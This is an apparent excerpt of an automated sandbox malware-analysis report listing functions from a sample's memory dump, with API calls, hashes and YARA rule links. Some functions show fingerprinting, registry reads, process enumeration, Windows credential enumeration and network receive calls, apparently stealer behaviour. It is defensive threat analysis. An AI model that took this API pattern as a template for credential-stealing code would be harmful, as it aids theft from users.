Opcode ID: 612ddcefc7630db56f3620f1072b6d911cf3a2af5b3b5cbf471fd81d26c93fdc
Instruction ID: 1ae89995e5d8ac4f1e8391864a45426aeba53247fbe4a58d913f34610f61a48e
Opcode Fuzzy Hash: 612ddcefc7630db56f3620f1072b6d911cf3a2af5b3b5cbf471fd81d26c93fdc
Instruction Fuzzy Hash: 4B618E62F18A4285EB10DB69D4812BD23B1AB447E8F004736EE3D96AD5FF3CD9859340

Function 00007FF6F1DCEED0 Relevance: 4.6, APIs: 3, Instructions: 87COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 00007FF6F1DCEF29
CoTaskMemFree.OLE32 ref: 00007FF6F1DCEFEA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCF012

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: FolderFreeKnownPathTask_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2444108017-0
Opcode ID: 5f2961302959c0ed5e282d88b8909df76f76c0f003f9f14efc1921d5f91e8f12
Instruction ID: 1054c247e359f9ad7ebc1bf9ee16012934f4a881d91a640a1ff9d56a5738384d
Opcode Fuzzy Hash: 5f2961302959c0ed5e282d88b8909df76f76c0f003f9f14efc1921d5f91e8f12
Instruction Fuzzy Hash: 83314462D18B8581E7208F25E44026AB761FB997F4F505325FABD42AD5EF7CD1818B40

Function 00007FF6F1DD6E1B Relevance: 4.6, APIs: 3, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1DD6E37
RegQueryValueExA.KERNEL32 ref: 00007FF6F1DD6E76
RegCloseKey.ADVAPI32 ref: 00007FF6F1DD6F14

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 497c1e7926f3d444a968bab04cca3fa9f68789f660d1b6e4e5e77ce73ce49532
Instruction ID: 6e80432dcaa3583758ed013cfa09eb82509fbc1efd7ccc53df0088d45791534e
Opcode Fuzzy Hash: 497c1e7926f3d444a968bab04cca3fa9f68789f660d1b6e4e5e77ce73ce49532
Instruction Fuzzy Hash: 5221A463E18B8681EB509B25E45076AB761EFC57D4F405231EAAE82AD9EF2CD184CB40

Function 00007FF6F1DD58D0 Relevance: 4.6, APIs: 3, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32 ref: 00007FF6F1DD58F7
GetGeoInfoA.KERNEL32 ref: 00007FF6F1DD5911
GetGeoInfoA.KERNEL32 ref: 00007FF6F1DD5961

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Info$User
String ID:
API String ID: 2017065092-0
Opcode ID: 877c1b4e073b3a87c3d7ac6068cbd316133fc0437c9f32c249d117db553f0db1
Instruction ID: 12a5388da233541a71958963723ebd34b742d289d7d59ee75a440f0e765aab42
Opcode Fuzzy Hash: 877c1b4e073b3a87c3d7ac6068cbd316133fc0437c9f32c249d117db553f0db1
Instruction Fuzzy Hash: F4119332A1878682D7108F61E52075EB3A1FB80BD8F545235EB9943B59DF7CD4908B44

Function 00007FF6F1DF4F60 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6F1DF4F5C), ref: 00007FF6F1DF4F71
TerminateProcess.KERNEL32(?,?,?,00007FF6F1DF4F5C), ref: 00007FF6F1DF4F7C
ExitProcess.KERNEL32 ref: 00007FF6F1DF4F8B

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 38c7b4f83e553420579c8e330882a64258dcf8d372290847a19fb81a50e45df1
Instruction ID: ae9f5ec614788775fcc8f0114b69b97167a27e455188bd223ab11b43a8deca0f
Opcode Fuzzy Hash: 38c7b4f83e553420579c8e330882a64258dcf8d372290847a19fb81a50e45df1
Instruction Fuzzy Hash: 25D09E11F18B4352EB542F705DA90BC12A56FA9781F50153CD93FC63D3EF2DA5494A00

Function 00007FF6F1DD6C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 00007FF6F1DD6CAC

Strings

Unknown, xrefs: 00007FF6F1DD6D66

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 22e8dba5ae4e86c0326f8be6cf605145216d5eee1111140a83b2067be56ce9ba
Instruction ID: d9da066f2232435aadb808845e3ec6f21a0daff7e5258d3992664a9b1877e41d
Opcode Fuzzy Hash: 22e8dba5ae4e86c0326f8be6cf605145216d5eee1111140a83b2067be56ce9ba
Instruction Fuzzy Hash: 5531E323A2CBC186E710CF25E4502AAB370FBD9784F545225EBDD42A86EF7CD695CB00

Function 00007FF6F1DDC190 Relevance: 3.3, APIs: 2, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9e48158083ab0eca5a4c5bb0c2db97b4ea0ad2ac3ee641f55f804f8c60b5fb
Instruction ID: 07a3273dc3df087ef0c04ed7c94b502f128499afef69f5932e4eaa6256547c8b
Opcode Fuzzy Hash: 0e9e48158083ab0eca5a4c5bb0c2db97b4ea0ad2ac3ee641f55f804f8c60b5fb
Instruction Fuzzy Hash: A6A16D72A04B8186EB108F25D8843AD77B1FB89BD8F188235DA5D87795EF3CD581CB40

Function 00007FF6F1DDF150 Relevance: 3.2, APIs: 2, Instructions: 189COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DDF394
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DDF3A0

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 13b637be0ddcb408af887a2a38cfcbd2b757141b0a68db11de9dd26df8918e9b
Instruction ID: c4027fcaa02ed0c055a66bfda2bf535f9c814f917623a83237f559781b4d9b27
Opcode Fuzzy Hash: 13b637be0ddcb408af887a2a38cfcbd2b757141b0a68db11de9dd26df8918e9b
Instruction Fuzzy Hash: D6619926A09A8184EB189E16D19437D37B2AB44FD8F558631CE7D8B3D5EF3CE886D700

Function 00007FF6F1DCD260 Relevance: 3.2, APIs: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DCD510: RegOpenKeyExA.KERNEL32 ref: 00007FF6F1DCD561
Part of subcall function 00007FF6F1DCD510: RegCloseKey.ADVAPI32 ref: 00007FF6F1DCD573

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCD4F8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCD4FE

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpen
String ID:
API String ID: 3087652857-0
Opcode ID: b5d7b45dfa31f96b17104aaadbe9ae254155d4525c9ed658e5f32041e5771e92
Instruction ID: ba934370f2da63d64787b1d59d6ea7a18e8e9361a7668b1471fc552689248751
Opcode Fuzzy Hash: b5d7b45dfa31f96b17104aaadbe9ae254155d4525c9ed658e5f32041e5771e92
Instruction Fuzzy Hash: 1E718F72A18B8585EB108B64E8403AD77B1F7897D4F505321EAAD87BD9EF7CD144C740

Function 00007FF6F1D98E80 Relevance: 3.1, APIs: 2, Instructions: 129COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D99015
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9901B

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: f1662d7706c7589218ceb8d0a30793c2331b3c095fc89e1204711d7945b9f2de
Instruction ID: 0669145fb2d8aa9df7c5fd597d35fd20e2a634a60b5238652aef99ba8c0c82c7
Opcode Fuzzy Hash: f1662d7706c7589218ceb8d0a30793c2331b3c095fc89e1204711d7945b9f2de
Instruction Fuzzy Hash: 3641B162B08B8585EB109F12A1242AD6362BB48FD4F984731DF7D8B7C9EF3DD1419300

Function 00007FF6F1DA9FB0 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DAA14B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DAA157

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 21cbd9060dcfa65a00406c0847a2e258ff3a67741ef0e8835a8aa18e29e20441
Instruction ID: 7c39f4e5a99c24866e4d92ca4d0695f79e706dd20dac9d81c15a6e131af94e32
Opcode Fuzzy Hash: 21cbd9060dcfa65a00406c0847a2e258ff3a67741ef0e8835a8aa18e29e20441
Instruction Fuzzy Hash: 01416F72618B8585DB28DB65E54427AA3A1FB48BD0F548736EBBD43BC9EF3DE1418300

Function 00007FF6F1DA0790 Relevance: 3.1, APIs: 2, Instructions: 118COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DA08F4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DA0900

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: b2d3eb39100ffe7ca6075ba45aad7cd097a3ddd15555f804f6effb7240c15951
Instruction ID: 412b8ac3b6bf21e9d9fefd79f6cc9654997ddb47c73d5f8c2b388c29174d325b
Opcode Fuzzy Hash: b2d3eb39100ffe7ca6075ba45aad7cd097a3ddd15555f804f6effb7240c15951
Instruction Fuzzy Hash: 11312462B1578641FF14EB26A41007A6260BB44FE4F908B35DE7D837D6EF3DE0418340

Function 00007FF6F1D99030 Relevance: 3.1, APIs: 2, Instructions: 118COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D991AC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D991B2

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 29ede17e78d66e1ff03075e107dc94fa6a0ff7a82e23768c21060c6f5b695a31
Instruction ID: a3ae1e28f4cd0eb54defefbb23bd8be7423d94b2da8a1445ae77d4116e361cc3
Opcode Fuzzy Hash: 29ede17e78d66e1ff03075e107dc94fa6a0ff7a82e23768c21060c6f5b695a31
Instruction Fuzzy Hash: C241C3A1B0974285EF14AB12A5243B9A361BB48BD8F944735EF7D4B7CAEF3DD1419300

Function 00007FF6F1DD6290 Relevance: 3.1, APIs: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 00007FF6F1DD6320
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD6457

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: InformationVolume_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4269842375-0
Opcode ID: 910c72d77a2eee9013dd7d018ca37c84aa499ce84e75e0b5e19abdf6a0978468
Instruction ID: caf4869d65aed594dcfb4699190aed04aafc8638fbed43a3a971ee65599401d1
Opcode Fuzzy Hash: 910c72d77a2eee9013dd7d018ca37c84aa499ce84e75e0b5e19abdf6a0978468
Instruction Fuzzy Hash: B4518F32E18B8186E710CF64D4403AD77B1FB99788F505321EBAD93A99EF78D684CB40

Function 00007FF6F1D929B0 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D92AB2
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D92AB8

Part of subcall function 00007FF6F1D7B820: __std_exception_copy.LIBVCRUNTIME ref: 00007FF6F1D7B868

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2371198981-0
Opcode ID: 0c938f5ff597287b413f46e3d76a37b7088594cabf2e2eb79db2830f1b0d95ab
Instruction ID: 18b4b722e2175812c0dd63b43518da5e250116d31d3fddfcbe148858f5f44053
Opcode Fuzzy Hash: 0c938f5ff597287b413f46e3d76a37b7088594cabf2e2eb79db2830f1b0d95ab
Instruction Fuzzy Hash: CF21D433E09B4245FB28AB15A56037962A0AB54BE4F644735DA7C83BD6FF3CD5D28340

Function 00007FF6F1DE4648 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE466F

Part of subcall function 00007FF6F1DE4604: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE461B

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE4723

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 77ff38050bbf038ec147631c291faae903e00292372ea36fba1d268a897535c6
Instruction ID: 039cf5012befb679d7ff192462fb3258772d25ae127806fbdfd3b33e705f04fb
Opcode Fuzzy Hash: 77ff38050bbf038ec147631c291faae903e00292372ea36fba1d268a897535c6
Instruction Fuzzy Hash: F2319C32A19A4782EF54EB15D8501B9A370ABA5BD1F950235E62ECB3D2FF3DE601C740

Function 00007FF6F1DCD510 Relevance: 3.1, APIs: 2, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1DCD561
RegCloseKey.ADVAPI32 ref: 00007FF6F1DCD573

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: f1dca321947a1367f0d55f51290a78f41f5e328790fa86022a41bb21031095aa
Instruction ID: d4a915f6b6e5fe76bc6949c7136515403ce13343562f657d68cd422052a3c5cc
Opcode Fuzzy Hash: f1dca321947a1367f0d55f51290a78f41f5e328790fa86022a41bb21031095aa
Instruction Fuzzy Hash: 9F21A821F28A8145EB509B25E8503BAA370EF95BD4F585231FA6D87BD5EF2CD441C740

Function 00007FF6F1DCC7CC Relevance: 3.1, APIs: 2, Instructions: 58synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1D8E610: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6F1D8E65A
Part of subcall function 00007FF6F1D8E610: Process32FirstW.KERNEL32 ref: 00007FF6F1D8E69C

Part of subcall function 00007FF6F1D8CA10: CredEnumerateA.ADVAPI32 ref: 00007FF6F1D8CA72

Part of subcall function 00007FF6F1DD4A30: recv.WS2_32 ref: 00007FF6F1DD4C0C

ReleaseMutex.KERNEL32 ref: 00007FF6F1DCC83B
CloseHandle.KERNEL32 ref: 00007FF6F1DCC844

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

